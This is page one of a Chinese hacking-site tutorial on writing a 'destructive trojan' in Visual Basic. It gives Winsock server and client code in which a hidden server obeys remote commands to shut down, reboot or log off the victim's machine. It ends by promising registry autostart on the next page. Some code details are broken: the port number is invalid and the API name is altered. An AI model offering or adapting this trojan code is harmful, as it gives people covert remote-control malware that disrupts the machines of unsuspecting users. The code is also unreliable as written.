黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图

您现在的位置: 黑客风云 >> 黑客文章 >> 黑客进阶 >> 黑客编程 >> 正文
·没有路由密码权限时的鸽08-23·上网安全 Vista自我防范10-11
·让濒临崩溃的Windows XP10-11·有备无患,快速自制救急10-11
·要你好看!Windows看图工10-11·空间赞助网提供不同类型10-11
·讨论net.exe和net1.exe的10-10·让3389远程桌面传输更通10-10
·巧妙入侵渗透赌博站10-10·Aspx空间扫权限工具10-10
·Windows2003最新提权工具10-10·易淘乐提供100M免费全能10-10
·系统开机密码忘了不着急10-09·中意网络提供免费100M免10-09
·与众不同 Windows XP开始10-08·让桌面图标翻跟斗 在XP上10-08
·上海宽元站长资助计划-提10-08·个性化Windows XP的任务10-07
·趣盘提供3G免费网络硬盘10-07·秀山热线提供200MB免费全10-07
·一次艰辛的提权过程10-06·成功入侵IT大卖场的渗透10-06
·mysqlhack- MYSQL利用工10-06·lanker一句话PHP后门客户10-06
·WIXI提供3G免费多媒体网10-06·新人网络提供100M/ftp免10-06
·如何利用QQ带来高流量10-05·UuShare提供免费网络文件10-05
[推荐]利用Visual Basic编写破坏性木马
      ★★★★★

利用Visual Basic编写破坏性木马

文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2006-12-20 10:09:54

首先,新建一工程,名为Server,新建一个窗体,Name为Server,在窗体中加入一个winsock控件,Name设为sckServer,协议设为默认的TCP/IP协议。

接下来我们回来Server窗体模块中,添加如下代码:

Private Sub form_Load() 
  With Me 
   .sckServer.LocalPort = 88917'本地端口(呵呵!我的生日!) 
   .sckServer.Listen '开始监听 
  End With 
End Sub 

'接受客户端的连接请求。 

Private Sub sckServer_ConnectionRequest(ByVal requestID As Long) 
  With Me 
   If .sckServer.State <>sckClosed Then .sckServer.Close 
   .sckServer.Accept (requestID) 
  End With 
End Sub

下面我们来建立客户端程序:新建一个工程,名为Client,把窗体名为Client,在上面加入一个winsock控件,名为sckClient,协议为TCP/IP协议。再加一个按钮cmdConnect在窗体模块中加入代码:

Private Sub form_Load() 
  With Me 
   .sckClient.RemoteHost = "127.0.0.1"'设置远程IP,本例设为本机。 
   .sckClient.RemotePort = 88917 '远程端口,就为server中的设置一样. 
  End With 
End Sub 

Private sub cmdConnect_Click() 
  SckClient.Connect 
End sub

至此,单击Connect按钮我们的两个工程已经可以进行通信了,但看不见,你可以在Client中的sckClient_Connect事件中加入代码:debug.print “Connetion successful!”来查看。

这仅是第一步,一点工作也做不了,下面我们来为它们添加功能。为了简单,本文章只实现一点小小的功能——关机,重启,注销。好,开始吧!

在Server工程中新建一个模块,Name为modApi,这个模快为一些API函数,添加如下API函数:

Public Declare Function ExitWindowXXX Lib "user32" Alias "ExitWindowXXX" (ByVal uFlags As
 Long, ByVal dwReserved As Long) As Long 

Public Const EWX_LOGOFF = 0 
Public Const EWX_REBOOT = 2 
Public Const EWX_SHUTDOWN = 1 
Public Declare Function ClipCursor Lib "user32" Alias "ClipCursor" (lpRect As Any) As 
Long 

Public Type RECT 
  Left As Long 
  Top As Long 
  Right As Long 
  Bottom As Long 
End Type

注:在两个socket中编程中,进行通信的重要事件是DataArrival事件,用于接收远程数据。

下面在Client工程的Client窗体中放入三个按钮,分别为cmdExit,cmdLogoff,cmdReboot。它们用于对远程的关机,注销,重启操作。分别添加如下代码:

Private Sub cmdExit_Click() 
  Me.sckClient.SendData "Exit" 
End Sub 

Private Sub cmdLogoff_Click() 
  Me.sckClient.SendData "Logoff" 
End Sub 

Private Sub cmdReboot_Click() 
  Me.sckClient.SendData "Reboot" 
End Sub

全都是对服务端发出请求。下面转到Server工程中:在Server中添加sckServer的DataArrial事件,接收客户端的请求。

Private Sub sckServer_DataArrival(ByVal bytesTotal As Long) 
  Dim strData As String 
  With Me 
   ' 接收客户请求的信息 
   .sckServer.GetData strData 
   Select Case strData 
    Case "Exit" 
     '关机 
     Call ExitWindowXXX(EWX_SHUTDOWN, 0) 
    Case "Reboot" 
     '重启 
     Call ExitWindowXXX(EWX_REBOOT, 0) 
    Case "Logoff" 
     '注销 
    Call ExitWindowXXX(EWX_LOGOFF, 0) 
   End Select 
  End With 

End Sub

好了,到此我们已经实现功能了,但还不行,我们要它在背后运行。这简单,在Server中的form_Load事件中加入一句:me.hide。好这下看不见了,但大家知道木马是一开机就自动运行了,这又是为什么,怎么实现的?把它加入到注册表的启动组中?对,不错,跟我来吧!

[1] [2] 下一页

文章录入:cainiaowang    责任编辑:cainiaowang 
【字体:
Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
ICP备案:冀06009886